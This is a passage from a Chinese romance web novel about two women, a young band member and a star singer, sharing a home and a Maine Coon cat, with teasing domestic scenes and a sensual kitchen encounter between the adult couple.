对面那人顿时破口大骂:“许风扰!我看你就是不识好歹!” 她气急败坏,话没过脑子就斥骂道:“你别以为抱上柳听颂这条大腿,就能无法无天了!” “你别忘你们的合同还有……” 许风扰直接将电话挂断,下一秒就有电话打来,她继续挂断,那人继续打过来,大有不依不饶之势,反正上次在机场就已撕破脸皮,根本不在乎其他。 许风扰直接将手机往旁边一丢,面色彻底沉了下去。 在上次许风扰表露出不满后,柳听颂便和她提过这事,她让工作室以许风扰帮了柳听颂的忙的由头,向天彙传媒施压,这才逼迫他们低头帮忙,可在阿金口中,却是许风扰抱上大腿。 烦躁的情绪又开始冒出。 怀裏的大猫察觉到她的心情,喵喵叫了两声表示安慰。 许风扰顿时抱住它,埋在它脖颈猛吸。 还得是小猫…… 今晚还要瞒着柳听颂,偷偷给它加猫条。 许风扰在心裏默默做了决定。 正当时,门口传来声响,一大早就出门的人终于赶回,换了拖鞋后就快步往裏,直到瞧见许风扰。 疏离眉眼舒展开,语气就变得温和,哄道:“怎么又抱着猫躺在地上了?” “喜欢,”许风扰回答得简单,声音裏还残留着之前谈话的冷硬,一时没能压下来,之后又缓和语气,补充了句:“这裏舒服。” 柳听颂听得无奈,眼尾却带笑,靠着墙望着这一大一小。 这缅因是她在国外时,路过宠物店意外瞧见的,她本无意养猫,但却瞧见幼猫有着与许风扰相似的碧色眼眸,许是思念作祟,鬼使神差地将买下,一直养到现在。 “喵,”听见柳听颂的声音,缅因当即想从许风扰身上跳下来,去找柳听颂。 可许风扰却不肯,双臂一张就将猫抱住,声音黏糊糊,无意识地和猫撒起娇:“不许走。” “喵!” “不给!”许风扰故意闹腾。 气得小猫喵喵叫,又挣脱不掉。 柳听颂见状,便主动向那边走去,脱了拖鞋后,跪坐在许风扰身边,轻声道:“乖。” 她本想叫猫乖些,可这一声落下,两个相同眼眸、银白毛发的家伙,一并抬起脑袋,齐刷刷看向她。 一时分不清哪个是猫,总觉得都乖巧得很。 柳听颂伸手摸了摸许风扰的脑袋,再摸了摸猫,含笑就夸道:“好乖。” 这一声是对她们两个说的。 缅因看着帅气,实际却最是粘人的,收到夸奖后就又叫了一声喵,表示回应。 许风扰则偏头,不想理她,自个又不是猫,乖什么乖。 那人也不生气,伸手揉了揉许风扰皱起的眉间,哄道:“怎么了?气成这样。” “没事,”许风扰还没想好怎么说,索性敷衍。 丢在旁边的手机屏幕又一次亮起,是燃陨群裏发的消息。 两人下意识看过去,还没有来得及看清,又暗了下去。 柳听颂似想起什么,眼睛眯了下。 而许风扰却恶劣,突然冒出一句:“你的猫会后空翻吗? 柳听颂一愣。 怀裏的缅因还什么都不知道,自顾自地甩着大尾巴。 许风扰却道:“橙子说她前前女友的猫会后空翻,还邀请她去看。” 她语气幽怨,好像柳听颂让她输了一样,实际是又闹起脾气,想故意折腾人。 柳听颂看了眼无辜的大猫,和试图折腾的小狗,思索片刻后才道:“要不试一试……” “我们教一教它?” 恰好这时,怀裏的猫又喵了一声,迷茫又不解地看着两人。 第34章 这也是宝宝想折磨我的一部分吗? 大猫当然不会后空翻, 即便有猫条和小鱼干,也不能让一只体长108的缅因学会后空翻,它迈着大山竹跑来跑去, 吃不到就躺到地上装可怜, 最后后空翻没能学到,还把肚子吃得圆鼓鼓的。 气得许风扰抓住它前爪, 要它站直,继而板着脸教育:“你再不努力就要变成一只没有竞争力的胖猫了。” “没有小母猫会喜欢你的。” 回应的是大缅因的一声喵。 还有旁边柳听颂的提醒:“三斤是只小母猫。” 三斤是缅因的名字,原因是她被柳听颂买下的时, 正好三斤。 许风扰当然知道, 斜眼一瞥就道:“她随我不行吗?” 柳听颂一愣, 随之就笑起,温声附和道:“嗯, 孩子随妈是应该的。” 许风扰皱了皱眉, 下意识觉得不对, 可这话是她先提起的, 柳听颂只是顺着她的话说, 一时竟不知如何反驳。 柳听颂却将猫接过去, 认真开口:“三斤要乖乖听小妈的话, 才有别的小母猫喜欢。” 许风扰终于反应过来,连忙出声反驳:“你才是小妈。” “那……妈妈?”柳听颂偏了偏头,像在询问她的意见。 猫也跟着叫了一声,也不知道想表达什么。 她算是明白了,柳听颂不仅脸皮厚,还很会顺着杆子往上爬, 她刚刚不过一时口误,这人就把名头做实了。 许风扰瞪向柳听颂, 那人却笑盈盈的,一点没被威胁到。 许风扰习惯性伸腿蹬了她一脚,那人却顺势拽住她脚踝。 许风扰腿长且细,尤其是脚踝一处,凸起的圆骨清晰莹白,正好被柳听颂压在指腹,打着圈揉,好像在盘玩什么玉石。 踹人不成,反倒被调戏。 许风扰表情一变,脱口就喊道:“变态。” 下一秒又收腿要踹,可那缅因却突然喵了一声,跳到柳听颂面前要护主。 许风扰抬起的腿愣是停在半空,又心不甘情不愿地收回,好不憋屈。 第一脚没踹多重,却被柳听颂占了便宜,第二脚还没踹出去就被猫凶了。 气得许风扰一个翻身,又将大猫抱住,气鼓鼓地开始哼:“你个坏猫,明明就是她欺负我,你还帮她,亏我昨天晚上偷偷喂你的猫条……” 话说到一般,许风扰突然就卡了词,生硬转头看向柳听颂。 柳听颂露出无奈表情,虽是斥责却一点也不凶,反倒温温柔柔地喊道:“阿风。” 过分拖长的语调撩人,许风扰的耳朵痒了痒,又心虚看向别处,无意识抱紧怀裏的猫。 “三斤真的要减肥了。” 许风扰试图把脑袋埋到三斤肚子裏,装听不见,不料那缅因也听懂了,想装可怜往许风扰怀裏埋。 结果大的低头,小的也低头,两个白毛脑袋撞到一块,茫然抬起,大眼瞪小眼地看着对方。 跪坐在旁边柳听颂闷闷笑起,因出门办事的缘故,她穿了身棉麻的杏色长裙,发丝用玉坠木簪挽起,露出精致轮廓,耳边还有些许口罩压出的红印,看起来温和又柔软,全然没有外头的清冷寡言。 许风扰自知理亏,白发下的耳垂红了红,实在嚣张不起来,只能强撑着嘴硬:“三斤哪裏需要减肥了,它就那么一小只。 看着那快和许风扰半截身子一样长的猫,也不知道她是怎么能将一小只说出口的。 “三斤真的有点胖了,”柳听颂只能柔声解释:“上次去医院,医生建议它还是维持在二十斤左右比较好。” 而她怀裏的缅因已经超过五斤,比同体型的公猫都要胖了。 “但是它老对我喵喵叫,”许风扰承认,她确实有点心软。 也怪不得才接触一两天,三斤就那么粘她,前几天被断的零食,许风扰一来,全给猫补回来了,能不粘着她吗? 可柳听颂却突然道:“那我对你叫两声?” 许风扰呆了下,没反应过来,比小猫还要漂亮的碧色眼眸,倒映着柳听颂身影,无意露出一丝懵懂。 有点可爱。 柳听颂抬手挽起垂落发丝,瓷白指尖撩过耳垂,将那一丝如银鈎的青丝别在耳后,继而轻轻出声:“喵。” 她学得有些生涩,但好在音色温润,反倒有一种欲语还休的撩拨意味,眼帘垂落一瞬,像是羞窘,又在下一秒抬眼看向许风扰,怕错过她的反应。 “你会不会对我心软一点?”那人问道。 此刻已是黄昏时刻,橙色夕阳随之渲染开,将冷硬的高楼融化开,变作软趴趴的小蛋糕。 落地窗隔绝不了成束的光,仍由它们往裏延伸,点缀在杏色裙摆,落入柳听颂的眼眸,掀起摄人心魄的柔妩。 “喵?” 见许风扰不回应,她又叫了一声,果真是天后,模仿能力优秀,这就已经抛去之前的涩然,学得精髓后,还比旁边缅因更会蛊人,像是被毛茸茸的猫尾擦过,勾住脚踝。 旁边的三斤转了下脑袋,像在寻找同类。 许风扰僵在哪裏,耳垂红得极不正常,因之前抱猫的缘故,刚坐起没一会的人又半躺下,单手往后,杵在地毯中,以此来支撑自己,因此短袖领口被扯得往下,露出大片泛起薄粉的细腻肌理。 “你……”她想开口说什么,却又卡了词。 柳听颂像真变成了一只猫,又喵喵两声表示疑惑。 许风扰手一软,曲折着往后倒,手肘压进地毯,整个人又矮了一截。 “柳听颂你!”她试图阻拦。 “宝宝不喜欢吗?”那人明知故问,笑意从眼尾晕开,一点也没遮掩,明晃晃地告诉许风扰,她在故意撩拨。 见她又想开口,慌得许风扰抬手直接捂住对方的唇。 可因姿势的缘故,掌心离唇还有半寸时就止住,是柳听颂主动低头,贴向她掌心。 “喵。” 那人又叫了一声,触觉神经在此刻敏锐到了极致,清晰感受到对方开合的唇瓣,柔软又莹润,还有略微潮湿的吐息,幽幽将掌心纹路填满,添下浅色的口红印记。 缅因寻找不到同伴,气得站起来,绕着柳听颂打转,试图寻找外援,要主人帮忙一起寻找。 可向来偏爱它的柳听颂,却连一丝余光都没留给它。 “宝宝,你又脸红了。” “你好可爱。” 这下没有喵喵叫了,可柳听颂的话比喵喵叫更直白。 让许风扰想起处于发///情期、求偶的猫。 指节下意识蜷缩,却又掐住柳听颂的脸,吓得她一下子僵直,想要退后,又必须压住柳听颂,以防她贴过来,于是只能进退两难的卡在那裏。 “不许、”她试图阻拦。 她看出柳听颂接下来的意图,发颤的声音坚定:“不许亲我。” 柳听颂闻言,眉眼一垂,比吃不到猫条、要减肥的三斤还可怜。 她低声控诉:“都好几天了。” 许风扰别过眼,十分狠心:“不行。” “不可以。” “我说过了,现在只可以我亲你。” “你不要忘记我们的约定。” 自那天夜晚后,许风扰与柳听颂约法三章。 第一,主动权在许风扰这儿,只要没有许风扰允许,柳听颂就不能擅自贴近,哪怕是拥抱都不允许。 第二,在许风扰没有彻底原谅对方前,柳听颂没有任何名分,也不能将这段关系告知其他人,楚澄她们这种早就知道的人除外。 第三还没有定下,但许风扰随时可以提出。 相当过分的条件,可谁叫柳听颂心有愧疚,自然什么都答应下来,只是苦了自己,从那天晚上后就没吻过许风扰。 甚至只在前两天,借着抱大猫给许风扰的由头,才碰到许风扰的手,短短两秒就分开,一点感觉都没有。 这也是刚刚许风扰一抬手,她就配合地贴上去的原因。 “喵,”她拖长了语调,试图用之前的法子央求。 许风扰却一下子松开手,垂落身侧后紧握成拳,试图压住蔓延开的酥麻。 “柳听颂,”她冷下声音警告。 旁边那人才抿了抿唇,心不甘情不愿地放弃。 许风扰才不理她,只是不能亲而已,装得好像要被赶出去一样,她转身又抱住猫,猛吸了两口后,才觉得脸颊的温度下去一点。 大猫看不懂这两人发生了什么,只知道许风扰又要和它玩,甩着尾巴就粘上去。 也得亏是缅因,性格最是粘人,要换做别的猫,早就跑到一边躲着了。 许风扰和猫玩了一会,见旁边突然安静,不禁疑惑望去。 那人正跪坐在地毯上,低头看着手机,眼神专注。 “柳听颂,你在看什么?”她问道。 那人这才移开视线,看向许风扰,表情十分正经道:“查资料。” “啊?”许风扰眨了眨眼,误会道:“怎么教小猫后空翻?” 还记得这一茬,一直不肯放弃。 柳听颂却笑,慢悠悠道:“不是。” “我在查,怎么勾引你主动亲我。” 话音刚落,许风扰脸上刚降下去的温度,瞬间又攀升。 不等她开口,柳听颂又喵了一声,继而看向许风扰。 眼眸之中好像藏着几分期待,比三斤还渴望猫条的样子。 许风扰顿时恼羞成怒,咬牙道:“你再乱说,我就找东西把你的嘴堵上。” 想象中的场面没有出现,柳听颂甚至眼睛一亮,当即就道:“要口///球吗?” “是宝宝想折磨我的一部分吗?” “家裏还没有,我现在就下单?” 许风扰张了张嘴,耳垂彻底红透。 而这时的大猫终于玩腻,山竹踩着许风扰的肚子,施施然地迈过去。 和她的主人一样的过分。 第35章 厨房与围裙 不管柳听颂查到什么, 都不是许风扰可以阻拦的。 许风扰和猫玩了半天,最后不得不承认三斤确实学不会后空翻,只能重新拿起手机, 既然解决不了问题, 那就去解决提出这个问题的人。 楚澄瞧见她的消息,感慨着许风扰、柳听颂的单纯, 自顾自地乐了半天。 惹得许风扰疑惑不已,不断追问。 其间,房门被敲响几次, 柳听颂来来回回跑了几趟, 将骑手送来的东西往裏头提。 许风扰抬眼看了下, 瞧见都是蔬菜、肉之类的东西后,便松了口气, 不再理会。 群裏的消息转瞬就到99+, 就连昭昭都被吸引过来, 奶声奶气地发来语音, 说自己要看猫猫。 许风扰自然应下, 给昭昭拍了个全方位的缅因视频后, 才察觉到厨房裏头的声响。 倒也没那么厚脸皮, 不仅住在旁人家中,还得让对方伺候自个,再说她小腿上的夹板已经拆掉,只要日常小心些,不过分运动和碰撞到,正常的走动是完全没问题的, 所以许风扰慢悠悠就往厨房走,准备去帮忙洗个菜、剥个蒜什么的。 可人到门口却愣住, 一整个僵在那裏。 柳听颂这是在…… 做什么。 只见被落日光晕包裹的厨房裏,青翠欲滴的蔬菜被置于砧板上,水池中的西红柿漂起,撞向成串的紫葡萄,竈臺上的陶锅已经翻腾,从孔洞中喷出热气。 而柳听颂站在臺前,脖颈拴着细绳,印着小狗的米白围裙松松垮垮,裏头长裙已被换下,却不是熟悉的家居服,而是一件…… 过分勾勒妙曼身形的白衬衫。 也不知道柳听颂从哪裏翻出的衣服,说正经,倒也正经,没有什么特别出格的地方,规规矩矩的短款衬衫,没有镂空或其他装饰,扣子解到第二颗,稍露出的地方还被围裙边缘遮挡,只在柳听颂走动时,往下些许。 可要说不正经…… 许风扰还没有见过那么紧的版型。 将细腰勒得越发纤薄紧致,刻意缝制的褶皱看似杂乱,实际却有序往上,将丰///腴的起伏衬得越发圆润,让人想起七月熟透的水蜜桃,好像轻轻一戳就能冒出甜腻汁液,却在此刻被围裙盖住,掩去好些景色。 许风扰急忙偏开视线,再不敢往那边看。 而柳听颂好像才注意到许风扰走来一样,转身看向她。 碎光落在柳听颂冒起细汗的鼻尖,犹如剔透白瓷上的一抹水光,诱惑着她人倾心,表情却惊喜,像遇到什么大麻烦一般,温声请求:“宝宝可以帮我一个忙吗?” 什么忙 许风扰莫名咽了下喉咙,乱七八糟的念头冒出又被压下。 柳听颂露出苦恼表情,说:“我刚刚忘记把头发扎起来了。” 她看了眼垂落的长发,无奈道:“有点碍事。” 拒绝的话抵在舌尖,许风扰现在就好像个站在陷阱边缘的小狗,自以为发现了猎人的圈套,无比警惕。 “不……”她试图出声。 柳听颂却比她更快,道:“你可以去我房间,帮我把发绳取过来吗?就在床头柜那边。” “啊?”之前的话被卡主,许风扰懵了下,没想到会是这样一个简单的要求。 她眨了眨眼,碧色眼眸露出少有的迷茫,像是急匆匆的小狗咬住陷阱绳索,却发现它确实只是一段废弃的麻绳,而她以为的猎人,实际是站在路边的无关路人。 “可以吗?”那人好像看不出来许风扰的困惑,温声再问。 “算了,我自己去……” “可以,我去拿!”许风扰当即回答,转身就往柳听颂房间走。 脊背绷紧,脚步极快,还能听见柳听颂在后面喊她慢些,可许风扰心虚,连回都不敢回。 柳听颂的房间在稍裏面的位置,与许风扰暂住的房间相对,房门未关上,只是虚虚掩着,许风扰一推就打开了。 裏外是同样风格的装修,还未走进便嗅到淡淡香气,许风扰不曾细看,规规矩矩就往床边走。 本想拿了发绳就立马离开,可随意丢在床上的东西是…… 许风扰的视线忍不住偏移,定在那个白毛的猫耳朵发箍上。 呼吸骤然停滞,又瞧见更旁边的同色尾巴,比外头那只缅因的尾巴更毛茸茸,单是远远看着,就能感受到它的柔顺,像是能从指间溜走、又缠绕向手腕。 更旁边是黑丝、皮质项圈…… 甚至还有柳听颂之前提起过的口球。 很明显,与外头那件衬衫是一整套的。 那人就这样毫无遮掩地丢在床上,故意要给许风扰看见,像是某种暗示,它们也可以和那件衬衫一般,一件件套在柳听颂身上,只要她喜欢,只要她松口。 心跳停滞一瞬,许风扰急忙偏过头,可余光却不受控制地飘向那边。 柳听颂怎么可以一本正经地坐在她身边,脸都不红地挑选着这些东西,并下单付款。 许风扰耳垂又开始发烫,差点同手同脚,几大步跨到床头柜,就连眼前这个朴素简单的发绳,都让她生出几分警惕,生怕柳听颂又给她留了什么“惊喜”。 指尖捏起发绳,房门关上的声音很快就响起,又急又大声,好像身后有什么东西在追一般。 走到厨房,裏头那人好像什么都不知道,转身看过来时,依旧是那副矜雅模样,只在看向许风扰时,眉眼柔和。 “你的、”许风扰莫名有些气喘,抬手将发绳递给她。 柳听颂却不接,垂眼示意自己抬起的双手,有些无奈地恳求:“宝宝可以帮我扎一下吗?” 她给出适当的理由:“我刚刚在切肉,有些油。” 偏头看去,原本摆在砧板上的蔬菜已另外摆盘,换作改花刀的鸡翅。 许风扰抿了抿唇,看破对方的诡计,却无法拒绝。 “今天做你喜欢的柠檬鸡翅,”那人笑盈盈地开口,眼尾的暖意晕开,比窗外落日更柔和。 许风扰咬住下唇,果真是年纪越大,心眼子越多,看出来又怎样,还不是拿柳听颂没办法 只能老老实实地一步步掉入年长者的陷阱裏。 “转过去,”许风扰挫败开口,最后还是妥协。 那人闻言,便转身,同时又偏头道:“宝宝可以帮我把围裙重新系一下吗?” “刚刚好像系得太松了,一直在往下掉。” 又来。 许风扰眸光沉沉,终于被撩出几分恼意。 柳听颂是不是有点得意过头了 她只是先和柳听颂说清楚,但并不代表原谅。 许风扰深吸一口气,松开捏紧的发绳,刻意压抑的声音微哑,只道:“转过去。” 没有说同意就是默认。 柳听颂唇边笑意更深,配合转头。 “扎个马尾吗”许风扰薄唇碾磨了下。 “可以,”另一人的语气轻松。 手撩起长发,小心地避开脖颈,只有发丝划过肌理的酥痒。 厨房裏很安静,只有旁边的砂锅还在冒着热气,发出咕噜咕噜的响声。 许风扰的动作有些生疏,倒不是不会,以前也经常将头发扎起,省得一团乱毛垂落,影响排练,只是很少帮别人扎头发,又在刻意避着柳听颂,不肯让她得逞,所以动作十分生硬。 发丝被全部撩起,露出衬衫下的纤薄脊背,蝴蝶骨微凸,脊骨节节往下,继而就到不堪一握的脆弱腰肢,单是一个背影,就能让人生出更多的绮念。 许风扰咬了咬牙,发圈在指尖转了几圈,终于将撩起发丝束缚,绑了个高马尾。 继而就到…… 许风扰视线往下,之前的快速结束没有让她更好一点,反倒落入更为难的境地。 为了配合她,柳听颂微微低头,将纤细白净的天鹅颈展露。 许风扰无端想起了小时候看过的纪录片,在动物界,为了表明自己的顺从,下位者会将最脆弱的脖颈、肚皮袒露,摆在上位者獠牙下,以此来证明自己的忠诚与臣服。 许风扰磨了磨牙,又觉得牙根冒起莫名的痒。 手扯向那松垮的蝴蝶结,好像是在拆礼物那样的顺畅,可许风扰却没有露出惊喜的神色,甚至不敢让它落下,急急忙忙就拽住。 下颌线越发绷紧,往日不大能瞧见的喉管,在不断吞咽中,逐渐明显。 “可以绑紧一点,”柳听颂在这时出声,明明是最正经不过的要求,却被说出千回百转的调子,好像在让许风扰绑别的东西。 许风扰没有回应,灵活手指打了个漂亮的蝴蝶结,覆着薄茧的指腹偶尔会触碰到脖颈,每一处都会掀起一阵战栗。 手再往下,直到腰间。 柳听颂在这儿打了个死结。 柳听颂又出声道:“对不起宝宝,我刚刚一个人不大方便,好像不小心弄成死结。” 这为难语气,说得好像是真的一样。 许风扰拧了拧眉,都不需要思考,就能分辨出柳听颂的话中真假,反正在她心裏,柳听颂已经多了一个诡计多端的头衔。 死结难解,柳听颂又系得紧,许风扰只得弯腰,刚刚还逃避不敢看的地方,现在还得认认真真盯着瞧。 绳子绕过细腰,刚刚好落在美人窝间,在白衬衫下若隐若现,即便再怎么刻意避开,也无法停止触碰。 许风扰额头冒出细汗,废了好大力气才将死结解开。 还没有来得及直起身,那人突然就往后倒,压向许风扰。 许风扰措手不及,下意识往前一步,抬手去扶。 呼吸骤然止住,整个人都僵成一块石板。 指尖、掌心压住的地方过分柔软,都在告诉许风扰一个显而易见的答案。 除了这件衬衫,柳听颂什么都没有穿。 第36章 宝宝,你的话越来越多了 “柳听颂。” 在过分低哑的声音下, 字句变得不大清晰,但却带着几分咬牙切齿的意味。 “你是故意的。” 那人还在依在她怀中,偏头时, 脸颊擦过, 嘴角微微上挑,像是只得逞的狡黠狐貍:“很不明显吗?” “别闹, ”许风扰试图给予最后的警告。 她说:“还没有吃饭。” 柳听颂眨了眨眼,粼粼碎光衬得那双眼愈加妩媚,软着声音就道:“可是我饿。” 此饿非彼饿, 两个人都心知肚明。 自从那夜过后, 两个人就没再贴近过, 哪怕同住一个屋檐下,也分为两个房间, 许风扰不给靠近, 柳听颂就只能站在线外, 甚至比在医院时还隔着距离。 许风扰咽了下喉咙, 再一次强调:“别闹, 吃完饭再说。” “吃完就可以吗?” 那人又开始顺着杆子往上爬, 笑盈盈地邀请:“宝宝要先吃饭还是先吃我?” 因贴近的缘故, 两人的呼吸交缠在一块,白色发丝落在黑发中,莫名地契合。 “柳听颂,”许风扰忍不住斥道。 “先吃我?”那人眨了眨眼,眼睫划过对方脸颊,掀起浪潮般的痒。 许风扰突然沉默, 眼眸中克制的情绪晦涩,像是挣扎。 手还没收回, 一直搁在那裏,这一切都被挑明后,躲避就算落了下风,往日不觉得单薄的衬衫布料,现在倒像是不存在一般,将所有感受都清晰反馈。 “你真的以为我不敢对你怎么样?”小狗终于龇牙。 屋外的落日终于坠入楼房之间,只剩下些许余晖,夜色从角落中爬出,向墙面侵蚀而上。 从许风扰两人的角度看去,窗外景致依旧,轮船划破粼粼的江水,高低起伏的高楼在此刻,最显冷硬。 柳听颂突然笑起,带着些许促狭的意味,意有所指道:“我怎么敢那么以为,你行不行,难道我不知道?” 是了,她怎么会这样以为呢,曾经日夜相处的时间中,她最是深有体会。 许风扰知道她在激自己,可还是不受控制地中招,像之前的每一次一样,叼着故弄玄虚的麻绳,谨慎得踏入了一个又一个圈套裏。 指节无意识曲折,越发将掌心的圆弧掐紧。 事实证明,即便如同七月熟透的水蜜桃,也不能被轻易压出汁液,它比许风扰想象中更柔软,也更坚韧,在略微粗糙的地方鼓起,试图挣开掌心的笼罩。 “你别后悔。” “宝宝,你的话越来越多了。” 这话接得极快,甚至有点催促的感觉,许风扰被气笑,越发收拢指节,终于喊出那个熟悉的称呼:“我们听颂老师什么时候越来越着急了” 她低着头贴近,过分精致的浓颜在近距离中,总会显得极具侵略性。 “嗯?”微哑的尾音,似笑非笑的碧色眼眸。 长相优越的人是不可能不知道自己好看的,如同怀裏抱着金币的富人,在不停歇的夸赞声中,她们很清楚自己的优势在哪裏,又该怎么蛊惑旁人。 玻璃窗将光分割成片片光斑,恰好有一片落在许风扰眼眸,如同诡谲怪诞的半边面具,映出眼眸中的缭乱纹路,像是一眼就能往见底的夏日潭水,明明已将潭底的藤蔓枝条展露,却还是有人会往下跳。 风吹起白发,勾住青丝。 她轻笑一声,像是没有瞧出柳听颂的愣神,故意追问:“急什么?” “嗯?” 她咬着字,一点点加重声音强调着曾经的称呼:“听颂老师?” 柳听颂呼吸微乱,回忆在字句中一点点涌出。 许风扰也算不得什么正经人,最多只有刚在一起那会,什么都不懂,总要柳听颂教,之后学会了也要装不知道,眨着她的小狗眼,一遍又一遍地提问。 “听颂老师,是这裏吗?” “老师,这样可以吗?” “我又找不到了老师,重新教教我好不好?” 惯会利用自己姣好皮囊装单纯,实际全是恶劣的坏心思,每次都要让柳听颂握着她手腕往裏,学了一遍又一遍。 “是这裏吗?我好笨啊姐姐。” “应该这样吧,听颂老师怎么不教我了?” “这裏是不是应该重一点,嗯?” 每到这时,她总顶着鼻尖水珠,翻来覆去喊着那些略显尊敬的称呼,柳听颂有时被气急了,便会抬脚踹她,堵住她喋喋不休的唇。 可这样的做法,只会换来片刻安静,紧接着就是更过分的举动,让她连抬手的力气都失去,坠入一阵接一阵的浪潮中。 “你在想什么?”微哑的声音将柳听颂拖回现实。 戏谑的笑声在耳边环绕,许风扰咬住她耳垂,不是很重的力度,随着说话声,开合的牙齿一次又一次咬住又松开,染上晶莹水痕。 柳听颂试图躲避,却被压在大理石臺上,之前的故意,反倒让自己陷入无法逃脱的境地裏。 “饿了,想吃柠檬鸡翅,”许风扰这样说,又把柳听颂之前的借口翻出。 “姐姐快给我做,”略带命令的语气,若只听其声,还以为是哪家娇蛮的祖宗在和姐姐闹脾气,嚷嚷着肚子饿。 可柳听颂却窥见玻璃窗中的身影,随着日光逐渐稀薄,便越发清晰。 那人仗着身长肩宽,将她紧紧环抱在怀中,左手还搁在那儿,右手却落在衬衫扣子上,指尖一次又一次勾起,却没有解开的意思。 “汤要好了,”许风扰又一次出声催促。 柳听颂下意识抬手,想要关火,却被许风扰拽住手腕,压到砧板前,再一次重复:“柠檬鸡翅。” 许风扰随意抬手将火关至最小,那烦人的咕嘟声终于减弱,可浓郁的香气却早已弥漫开,惹得外头的小猫喵喵直叫,馋得不行。 柳听颂微微吸了口气,知道身后的人不会再轻易放过她。 毕竟她自己惹出的祸,只能自己承受。 她握住刀柄,试图继续切之前没有切完的鸡翅。 “慢一点,不要切到自己,”那人又给出指示,齿尖还碾磨着耳垂,却道:“我会心疼的。” 柳听颂呼吸一滞,幸好被抵在臺前,才不至于腿软跌落。 “小心,”那人又给出贴心的提醒,好像全然不知自己才是那个罪魁祸首。 柳听颂想说什么又止住,只得庆幸自己取了把三德小刀,否则都无法将刀提起。 锋利刀刃轻* 松划过鸡翅,露出裏头白肉。 勾着衬衫领口的手,还在摆弄着那颗玛瑙扣子。 身后的许风扰并不着急,略重的呼吸撩起发丝,洒在对方脖颈。 柳听颂则精神紧绷,身前的大理石臺面坚硬且冰凉,身后的人极具压迫感感,而微颤的手还在继续,若刀锋漂移些许,那代价必然惨重,所以她只能提起十二分精神继续,但也如此,她也越发清晰感受到了许风扰的啃咬,好像小孩找到了什么新玩具,换着花样摆弄。 幸好鸡翅不多、幸好刚刚已经切好了三分之二。 现在的柳听颂脑子裏全是幸好。 可许风扰不会这样就结束,一道菜也不可能就终止在开头。 洗涤剂挤在掌心,在指尖搓洗出绵白泡沫。 身后的那人认真监督,在她耳边念叨:“姐姐要洗干净一点。” “你知道的,我不喜欢油腻腻的感觉,”她轻声抱怨,舌尖滑过对方耳廓。 用力过度的指腹在手背搓出红印,摆弄半天的扣子终于解开一颗,却被围裙边缘遮掩,只能随着往下的领口瞧见些许。 水声响起,将泡沫冲吸干净。 久泡的柠檬被取出,置于原木砧板之上。 柳听颂还以为会像之前那样,拿起刀时,却见许风扰压住那颗黄柠檬。 她贴心地解释:“我怕你按不住它。” 可对柳听颂来说,这才是最大的考验,往日觉得轻松的切片,在另一人的参与下,变得小心翼翼。 对方的手还覆在那儿,不再像之前那样规矩,指尖厚茧一下又一下抚过。 握住刀柄的手发颤,迟迟不敢落下。 “怎么了?”那人明知故问。 柳听颂呼吸散乱,一双漂亮的眼睛覆着水雾,早已不似平日裏的清明,破碎的眸光,泛着撩人的绯色。 许风扰在她耳边低低笑起,左手没有再作乱,却比作乱更过分,之前徘徊许久才解开的扣子,现在一颗接着一颗。 两人都能听见那细微的声响,玛瑙擦过布料,一点点往下,再到西装裤的那一颗。 一颗不剩。 其实也不算过分,毕竟还有围裙在,依柳听颂所言,系得非常紧,即便在这样的情况下,也没有松开一点,而人又被抵在臺面边缘,恰好压住裤子,虽然被解开,也没有往下落,只是布料稍往下一点,只要不细看,还是很正经的,任谁也想不到,围裙裏已经空空如也。 “怎么不切了?姐姐,”她坏心眼地闹腾。 捏着刀柄的手紧了又松,松了又紧,最后才在极力控制下,切下边缘一点,离许风扰捏住的中间,还差两指那么远的距离,露出一点点果肉。 “听颂老师是打算拿这点柠檬片给我腌鸡翅吗?”那人咬住柳听颂脖颈,像在惩罚。 捏着刀柄的手骤然松开,砸在砧板上,发出“嘭”的一声。 可柳听颂已无心理会,仰头靠向对方肩膀,呼吸更乱。 窗外已经陷入蓝调时刻,最后一抹夕阳余晖被抹去,只剩下将暗未暗的深蓝裏。 远处的楼房亮起灯光,天边点缀着两点星子。 玻璃窗中的身影越发清晰,几乎能看清每一处细节。 淹在水池裏的西红柿晃来晃去,却久久不见被捞起,只能不停撞着旁边的葡萄,表示不满。 柳听颂尝到柠檬片的味道,不是刚刚被切下的那一片,是在许风扰的指尖,之前压在柠檬的手,现在又撬开她唇瓣,一点点往裏探。 另一只手当然也没闲着,之前辛苦地一点点解开,现在自然得索取回报。 柳听颂颤了颤,半阖的眼眸无意窥见玻璃窗,围裙已经变得凌乱,衬衫无意被拉扯出,布料鼓起又落下,不见停,而指尖的柠檬香气早已消散,扯着银丝又断开,捏着对方舌尖。 该如何形容这靡糜又放浪形骸的一幕。 柳听颂闭上眼,不敢再看。 可那人却突然停下,慢吞吞地退后一步。 突然失去依靠的柳听颂腿软,差不多没站稳,幸好被许风扰扶了下,才撑住臺面。 柳听颂眼带水雾,满脸不解地看向她。 许风扰却笑,故意拖着腔调,悠哉悠哉道:“太晚了,做饭吧。” 果真恶劣得不行。 不想让你得逞,都做到这一步也不肯退让。 柳听颂咬住下唇,好半天才挤出一句:“坏东西。” 眼尾的水雾几乎要凝聚成珠,落下泪来,这滋味,上不来下不去,得不到又被撩起火来,最是磨人。 第37章 小猫吃葡萄 碗碟声响起又停下。 许风扰还是如愿尝到心心念念的柠檬鸡翅, 没有因为之前的胡来,多添一味料,惹得小猫绕着她打转, 馋得不行。 待对方放下碗, 许风扰就开口道:“我来洗碗。” 对面人一顿,却没出声, 掀开眼帘瞧着她,之前被情欲浸泡的眼眸,如今清明且冷锐。 “我想你应该需要先洗个澡, ”许风扰低头看猫, 那家伙已经爬到凳子上, 正往许风扰怀裏钻。 柳听颂没有拒绝,起身就往浴室走, 比其他时候沉默许多, 可人还没有走到一半, 就听到后面又传出声响。 是许风扰的声音, 慢吞吞地提醒:“希望你不会忘记拿浴巾。” 柳听颂身体一僵, 终于恼怒回头, 瞪了眼那过分的家伙。 许风扰低着头假装看不见, 有点心虚,但却没有愧疚,从家裏到医院,被柳听颂撩拨了那么长时间,就算过分些,也是对方应得的。 直到听到水声, 她才起身将碗筷拿起,收拾干净后, 喂了小猫,继而转向琴房。 还记得下午那一通电话,即便对阿金有所不满,但也不至于把粉丝搁在一边,平白让她们担心。 思绪间,低头看了眼手机。 群裏的消息又变成99+,不知道这些人聊了什么,还几次@许风扰。 让许风扰翻了半天,才明白她们在讨论什么。 原来阿金不只打给许风扰一人,其余三人皆被明裏暗裏上了点眼药,说许风扰如何如何,还被威胁了一通,说之后的活会越来越少。 她们就在群裏笑,半点没被影响。 细究其原因,燃陨乐队和其他乐队不同,如今纪鹿南的大半精力都在家庭裏,减少活动,她反倒轻松。 